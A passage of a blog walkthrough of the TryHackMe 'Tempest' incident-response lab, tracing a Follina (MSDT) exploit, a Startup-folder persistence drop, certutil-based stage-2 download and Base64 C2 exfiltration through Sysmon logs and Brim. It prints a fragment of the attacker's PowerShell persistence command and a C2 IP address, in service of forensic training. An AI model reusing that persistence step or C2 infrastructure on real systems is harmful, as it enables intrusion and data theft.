id=&#34;question-6-what-is-the-cve-number-of-the-exploit-used-by-the-attacker-to-achieve-a-remote-code-execution&#34;&gt;Question 6: What is the CVE number of the exploit used by the attacker to achieve a remote code execution?&#xA;&lt;/h4&gt;&lt;p&gt;Head back to the &lt;em&gt;Timeline Explorer&lt;/em&gt; view and look closely — do you see anything unusual? The process executing the code is the &lt;strong&gt;Microsoft Support Diagnostic Tool&lt;/strong&gt; (&lt;code&gt;MSDT.exe&lt;/code&gt;), a legitimate diagnostic utility. Very strange.&lt;/p&gt;&#xA;&lt;p&gt;Now that we have some of the puzzle pieces, let’s put them together. Let’s take to Google and see if there’s a known vulnerability where &lt;em&gt;MSDT&lt;/em&gt; is called from Word to execute code.&lt;/p&gt;&#xA;&lt;p&gt;We’ll immediately identify the following &lt;a class=&#34;link&#34; href=&#34;https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30190&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;CVE&lt;/a&gt; from Microsoft:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;A remote code execution vulnerability exists when MSDT is called using the URL protocol from a calling application such as Word. An attacker who successfully exploits this vulnerability can run arbitrary code with the privileges of the calling application. The attacker can then install programs, view, change, or delete data, or create new accounts in the context allowed by the user’s rights.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Bingo! We’ve stumbled across exploitation of the famous &lt;strong&gt;“Follina” vulnerability&lt;/strong&gt;, tracked as &lt;strong&gt;CVE-2022–&lt;Redacted&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;150f513bfd61381e6ebacae93d861ed9_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2086px&#34; data-flex-grow=&#34;869&#34; height=&#34;92&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/150f513bfd61381e6ebacae93d861ed9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;task-5-initial-accessstage-2-execution&#34;&gt;Task 5: Initial Access — Stage 2 execution&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigation-guide-1&#34;&gt;Investigation Guide:&#xA;&lt;/h4&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The Autostart execution reflects explorer.exe as its parent process ID.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Child processes of explorer.exe within the event timeframe could be significant.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Process Creation (Event ID 1) and File Creation (Event ID 11) succeeding the document execution are worth checking.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;h4 id=&#34;question-1-the-malicious-execution-of-the-payload-wrote-a-file-on-the-system-what-is-the-full-target-path-of-thepayload&#34;&gt;Question 1: The malicious execution of the payload wrote a file on the system. What is the full target path of the payload?&#xA;&lt;/h4&gt;&lt;p&gt;From the Base64 command we found in &lt;strong&gt;Task 4, Question 5&lt;/strong&gt;, we can start to get an idea of where the file was written:&lt;/p&gt;&#xA;&lt;p&gt;$app=[Environment]::GetFolderPath(&amp;lsquo;ApplicationData&amp;rsquo;);cd &amp;ldquo;$app\Microsoft\Windows\Start Menu\Programs\Startup&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;To understand the full path, we just need to first identify where the &lt;code&gt;$app&lt;/code&gt; variable is pointing and then append the rest of the path that we see in the &lt;code&gt;cd&lt;/code&gt; command. One approach is to declare the variable in &lt;em&gt;PowerShell&lt;/em&gt; within the analysis environment to see what happens, and then transpose the path into the victim’s environment—check out what I mean below:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;200e2ece3295f5912073a1b989e80f16_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1900px&#34; data-flex-grow=&#34;792&#34; height=&#34;101&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/200e2ece3295f5912073a1b989e80f16_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;PowerShell: Testing the $app variable&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;$app&lt;/code&gt; variable resolves to the &lt;em&gt;ApplicationData&lt;/em&gt; folder for our user account. So, we need to change the username to the victim account name we identified in &lt;strong&gt;Task 4, Question 2&lt;/strong&gt; and put it all together to get our answer:&lt;/p&gt;&#xA;&lt;p&gt;C:\Users&amp;lt;REDACTED&amp;gt;\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup&lt;/p&gt;&#xA;&lt;p&gt;Dropping the payload into this folder means the executable will run each time the victim user logs in, since it’s placed in the &lt;em&gt;Startup&lt;/em&gt; directory. This is a common way a threat actor establishes persistence on a system.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;32818b739bd49cc553a6858c17847109_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2704px&#34; data-flex-grow=&#34;1126&#34; height=&#34;71&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/32818b739bd49cc553a6858c17847109_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;question-2-the-implanted-payload-executes-once-the-user-logs-into-the-machine-what-is-the-executed-command-upon-a-successful-login-of-the-compromised-user&#34;&gt;Question 2: The implanted payload executes once the user logs into the machine. What is the executed command upon a successful login of the compromised user?&#xA;&lt;/h4&gt;&lt;p&gt;Now that we’ve discovered where the payload is executed from, let’s dig in and figure out what it does. Focusing on the next steps of the investigation guide, we know the time of the file write was &lt;strong&gt;17:13:35&lt;/strong&gt;, and we need to look at events with &lt;code&gt;explorer.exe&lt;/code&gt; as a parent.&lt;/p&gt;&#xA;&lt;p&gt;Let’s jump back to &lt;em&gt;SysmonView&lt;/em&gt; and visualize this with a handy diagram of all the events. Click the &lt;em&gt;Hierarchy&lt;/em&gt; tab at the bottom of the window. Then, press &lt;em&gt;Generate Diagram&lt;/em&gt; to spit out an incredibly helpful visual of the process relationships, which makes it a ton easier to identify child processes of &lt;code&gt;explorer.exe&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;26c5beac47b806163816b509dc29779d_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;507px&#34; data-flex-grow=&#34;211&#34; height=&#34;378&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/26c5beac47b806163816b509dc29779d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;SysmonView: Identifying suspicious PowerShell process&lt;/p&gt;&#xA;&lt;p&gt;One of the child processes is &lt;code&gt;powershell.exe&lt;/code&gt;, which is interesting, especially in the context of command execution. Let’s take a quick peek by opening the &lt;em&gt;PowerShell&lt;/em&gt; box.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;5dbae82b8a76c68d5d53172f7217e7ae_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;880px&#34; data-flex-grow=&#34;366&#34; height=&#34;218&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/5dbae82b8a76c68d5d53172f7217e7ae_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;SysmonView: ProcessCreate Event Details for Powershell.exe&lt;/p&gt;&#xA;&lt;p&gt;Inside, we’ll discover exactly what we need — the process command line of the payload. This tells us exactly what it does: download another binary, or second stage.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c53e45e5eb70ce17fa85aae97b4e9f59_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2064px&#34; data-flex-grow=&#34;860&#34; height=&#34;93&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/c53e45e5eb70ce17fa85aae97b4e9f59_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;question-3-based-on-sysmon-logs-what-is-the-sha256-hash-of-the-malicious-binary-downloaded-for-stage-2-execution&#34;&gt;Question 3: Based on Sysmon logs, what is the SHA256 hash of the malicious binary downloaded for stage 2 execution?&#xA;&lt;/h4&gt;&lt;p&gt;If we take a closer look at the command from the last question, we’ll discover that &lt;code&gt;certutil&lt;/code&gt; was abused to download another &lt;code&gt;.exe&lt;/code&gt; file via PowerShell. Let’s dig into it more.&lt;/p&gt;&#xA;&lt;p&gt;Close the window and review the diagram. Find the child process below &lt;code&gt;powershell.exe&lt;/code&gt; on the diagram—that’s our Stage 2.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;6b3d040bee9c300389f8ac8f07879692_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;507px&#34; data-flex-grow=&#34;211&#34; height=&#34;378&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/6b3d040bee9c300389f8ac8f07879692_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;SysmonView: Identifying the Stage 2 binary&lt;/p&gt;&#xA;&lt;p&gt;Double-click it to open the details and grab the file hash for our list of indicators.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;f2378359885fb60f4ffa0a9dac3b9ee5_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;365px&#34; data-flex-grow=&#34;152&#34; height=&#34;526&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/f2378359885fb60f4ffa0a9dac3b9ee5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;SysmonView: ProcessCreate Event Details for the Stage 2 binary&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;332c24f67acedb9c64cdfc041d355f1e_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2594px&#34; data-flex-grow=&#34;1081&#34; height=&#34;74&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/332c24f67acedb9c64cdfc041d355f1e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;question-4-the-stage-2-payload-downloaded-establishes-a-connection-to-a-c2-server-what-is-the-domain-and-port-used-by-the-attacker&#34;&gt;Question 4: The stage 2 payload downloaded establishes a connection to a c2 server. What is the domain and port used by the attacker?&#xA;&lt;/h4&gt;&lt;p&gt;With the name of the executable, an easy way to identify the command-and-control (C2) server is to step back to the &lt;em&gt;Process View&lt;/em&gt; tab. Recall that we can search for the name of the second-stage binary and easily view its related network connections to the C2 server as captured by &lt;em&gt;Sysmon&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;From the relationships mapped here, we can infer that the DNS query event and TCP connections to port &lt;code&gt;80&lt;/code&gt; represent a pair:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;ddcbb189140a43af74349848304f2da7_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;288px&#34; data-flex-grow=&#34;120&#34; height=&#34;665&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/ddcbb189140a43af74349848304f2da7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;SysmonView: Process View of the Stage 2 binary&lt;/p&gt;&#xA;&lt;p&gt;This provides us with the domain, IP address, and port used for command and control by the second stage. These will be incredibly valuable artifacts for the network traffic analysis in &lt;strong&gt;Task 6&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;6785e4730053ca00579bd06a7c0adcd4_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2064px&#34; data-flex-grow=&#34;860&#34; height=&#34;93&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/6785e4730053ca00579bd06a7c0adcd4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;task-6-initial-accessmalicious-documenttraffic&#34;&gt;Task 6: Initial Access — Malicious Document Traffic&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigation-guide-2&#34;&gt;Investigation Guide:&#xA;&lt;/h4&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Since we have discovered network-related artefacts, we may again refer to our cheatsheet, which focuses on Network Log Analysis:&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;We can now use &lt;strong&gt;Brim and Wireshark&lt;/strong&gt; to investigate the packet capture**.**&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Find network events related to the harvested domains and IP addresses.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Sample Brim filter that you can use for this investigation: &lt;code&gt;__path==&amp;quot;http&amp;quot; &amp;quot;&amp;lt;malicious domain&amp;gt;&amp;quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Now that we’ve gotten a better idea of what the malicious document is, which vulnerability it exploits, what the second stage is, and what C2 infrastructure it connects with, it’s time to dig further into the network traffic. For this, we’ll make a detour and pivot to a second artifact: &lt;code&gt;capture.pcap&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This is a network packet capture file that we can use to go deep into investigating the communication between the malware and the command-and-control server.&lt;/p&gt;&#xA;&lt;p&gt;To start, we’ll use &lt;strong&gt;Brim&lt;/strong&gt; (now called &lt;em&gt;Zui&lt;/em&gt;) to process and visualize the packet data with some awesome built-in queries.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;9f6ce1f21b503dcf6748ec6614a62ba4_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;569px&#34; data-flex-grow=&#34;237&#34; height=&#34;337&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/9f6ce1f21b503dcf6748ec6614a62ba4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Brim Overview&lt;/p&gt;&#xA;&lt;p&gt;Go ahead and open up &lt;strong&gt;Brim&lt;/strong&gt;, which is already installed in the analysis environment, and drop the &lt;code&gt;capture.pcap&lt;/code&gt; into the input window. Once it loads, we’ll get started.&lt;/p&gt;&#xA;&lt;h4 id=&#34;question-1-what-is-the-url-of-the-malicious-payload-embedded-in-the-document&#34;&gt;Question 1: What is the URL of the malicious payload embedded in the document?&#xA;&lt;/h4&gt;&lt;p&gt;Now we already know some valuable information, including the malware hosting domain and IP address, the C2 URL, and the C2 IP address.&lt;/p&gt;&#xA;&lt;p&gt;Remember back in &lt;strong&gt;Task 4, Question 4&lt;/strong&gt; we identified an IP address and domain embedded in the malicious document? Because we have most of the information already, this is a logical starting point since we’re looking for network URL information related to the stage-one malicious document.&lt;/p&gt;&#xA;&lt;p&gt;Since we’re looking to identify a URL request, an easy way to do this is to leverage the built-in &lt;strong&gt;Brim&lt;/strong&gt; query &lt;em&gt;HTTP Requests&lt;/em&gt; to determine which URL is being connected to. This will display an easy-to-read table containing the results we need.&lt;/p&gt;&#xA;&lt;p&gt;Scroll down to the section containing the IP address from &lt;strong&gt;Task 4, Question 4&lt;/strong&gt;, and we can see all the requests to this URL. There are a lot of interesting files here, but the one we’re focused on is the first: &lt;code&gt;index.html&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;a41548a6008e6af9d31d09a856bc8d58_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;550px&#34; data-flex-grow=&#34;229&#34; height=&#34;349&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/a41548a6008e6af9d31d09a856bc8d58_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Brim: Identifying URLs related to the C2 IP address&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;60883b79fba82ccfc7f1eb1fd7248165_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2742px&#34; data-flex-grow=&#34;1142&#34; height=&#34;70&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/60883b79fba82ccfc7f1eb1fd7248165_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;question-2-what-is-the-encoding-used-by-the-attacker-on-the-c2-connection&#34;&gt;Question 2: What is the encoding used by the attacker on the c2 connection?&#xA;&lt;/h4&gt;&lt;p&gt;Back in &lt;strong&gt;Task 4, Question 5&lt;/strong&gt;, we determined that the attacker used Base64 encoding to obfuscate the payload within the malicious document. Could it be the same encoding for the C2 connection? Let’s check the network traffic to confirm.&lt;/p&gt;&#xA;&lt;p&gt;Within our &lt;em&gt;HTTP Requests&lt;/em&gt; view in &lt;strong&gt;Brim&lt;/strong&gt;, scroll down to the entries with C2 IP address. Notice that the corresponding values in URI column contain long strings? We’ll use one of these to check if they are also Base64 encoded.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;33082c156858dc19c3d45624c65c9fbb_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;551px&#34; data-flex-grow=&#34;229&#34; height=&#34;348&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/33082c156858dc19c3d45624c65c9fbb_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Brim: Identifying Base64 strings in the URI&lt;/p&gt;&#xA;&lt;p&gt;Copy any one of these as a test and jump back into &lt;strong&gt;CyberChef&lt;/strong&gt;, once again applying the &lt;em&gt;From Base64&lt;/em&gt; operation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;f56cf8c964c857f409958897dc9bb9b6_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;496px&#34; data-flex-grow=&#34;206&#34; height=&#34;387&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/f56cf8c964c857f409958897dc9bb9b6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;CyberChef: Decoding a Base64 encoded parameter&lt;/p&gt;&#xA;&lt;p&gt;Confirmed! This shows us that the encoding is indeed Base64 — but more importantly, it might also indicate that some command return data is being exfiltrated via HTTP requests.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;b89b0312de4e05047df0ab6b324a1518_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2782px&#34; data-flex-grow=&#34;1159&#34; height=&#34;69&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/b89b0312de4e05047df0ab6b324a1518_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;questions-3-4&#34;&gt;Questions 3 &amp;amp; 4:&#xA;&lt;/h4&gt;&lt;h4 id=&#34;the-malicious-c2-binary-sends-a-payload-using-a-parameter-that-contains-the-executed-command-results-what-is-the-parameter-used-by-thebinary&#34;&gt;The malicious c2 binary sends a payload using a parameter that contains the executed command results. What is the parameter used by the binary?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;the-malicious-c2-binary-connects-to-a-specific-url-to-get-the-command-to-be-executed-what-is-the-url-used-by-thebinary&#34;&gt;The malicious c2 binary connects to a specific URL to get the command to be executed. What is the URL used by the binary?&#xA;&lt;/h4&gt;&lt;p&gt;Now the cool part: by discovering that each of these strings contains the results of the executed commands, we can also identify the parameter that contains those results.&lt;/p&gt;&#xA;&lt;p&gt;Take a look at the URI and notice a common parameter and URL used by the binary. This parameter consistently appears in requests that include Base64-encoded data, strongly suggesting it’s being used to transmit command output back to the attacker — something we already suspected from the previous question.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;3bf06ee42202f9d00cc5a7eafcbb6da6_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;568px&#34; data-flex-grow=&#34;236&#34; height=&#34;338&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/3bf06ee42202f9d00cc5a7eafcbb6da6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Brim: Identifying the URL and the Parameter&lt;/p&gt;&#xA;&lt;p&gt;Similarly, the URL path reveals where the binary retrieves its next command to execute. These two pieces, the parameter and the URL, are important indicators for understanding the attacker’s C2.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;dc64c60809eafa66bd0b8f71561ff539_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1443px&#34; data-flex-grow=&#34;601&#34; height=&#34;133&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/dc64c60809eafa66bd0b8f71561ff539_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;question-5-what-is-the-http-method-used-by-thebinary&#34;&gt;Question 5: What is the HTTP method used by the binary?&#xA;&lt;/h4&gt;&lt;p&gt;To confirm how the binary communicates with the C2 server, check the &lt;code&gt;method&lt;/code&gt; column in the &lt;em&gt;HTTP Requests&lt;/em&gt; view in &lt;strong&gt;Brim&lt;/strong&gt;. This shows whether the request uses &lt;code&gt;GET&lt;/code&gt;, &lt;code&gt;POST&lt;/code&gt;, etc.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;5b4e0331d44c00fbfa747f6ac49b140e_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;568px&#34; data-flex-grow=&#34;236&#34; height=&#34;338&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/5b4e0331d44c00fbfa747f6ac49b140e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Brim: Identifying the HTTP method&lt;/p&gt;&#xA;&lt;p&gt;The value in this column reveals the exact HTTP method the attacker used to retrieve commands and send data which is another important detail for understanding how the C2 channel operates.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;07ebe9c27c5c461da8ba78e0fdb7e87d_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2594px&#34; data-flex-grow=&#34;1081&#34; height=&#34;74&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/07ebe9c27c5c461da8ba78e0fdb7e87d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;question-6-based-on-the-user-agent-what-programming-language-was-used-by-the-attacker-to-compile-thebinary&#34;&gt;Question 6: Based on the user agent, what programming language was used by the attacker to compile the binary?&#xA;&lt;/h4&gt;&lt;p&gt;To find this clue, we’ll pull back from the &lt;em&gt;HTTP Requests&lt;/em&gt; query and search for the C2 IP in the Brim search box. Since we’re looking for a user agent, include the &lt;code&gt;user_agent&lt;/code&gt; field in the query to surface unique results:&lt;/p&gt;&#xA;&lt;p&gt;167.71.222.162 user_agent&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;519cc54596d861cebf83831666aab772_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;551px&#34; data-flex-grow=&#34;229&#34; height=&#34;348&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/519cc54596d861cebf83831666aab772_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now scroll over to the &lt;code&gt;user_agent&lt;/code&gt; column, and you’ll find another breadcrumb that reveals the programming language used to compile the binary.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;b2acde190d8cc8bb840f06dcb34b30b0_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2042px&#34; data-flex-grow=&#34;851&#34; height=&#34;94&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/b2acde190d8cc8bb840f06dcb34b30b0_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;task-7-discoveryinternal-reconnaissance&#34;&gt;Task 7: Discovery — Internal Reconnaissance&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigation-guide-3&#34;&gt;Investigation Guide:&#xA;&lt;/h4&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;To continue with the investigation, we may focus on the following information:&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Find network and process events connecting to the malicious domain.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Find network events that contain an encoded command.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;We can use Brim to filter all packets containing the encoded string.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Look for endpoint enumeration commands since the attacker is already inside the machine.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;In addition, we may refer to our cheatsheet for Brim to quickly investigate the encoded traffic with the following filters:&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;To get all 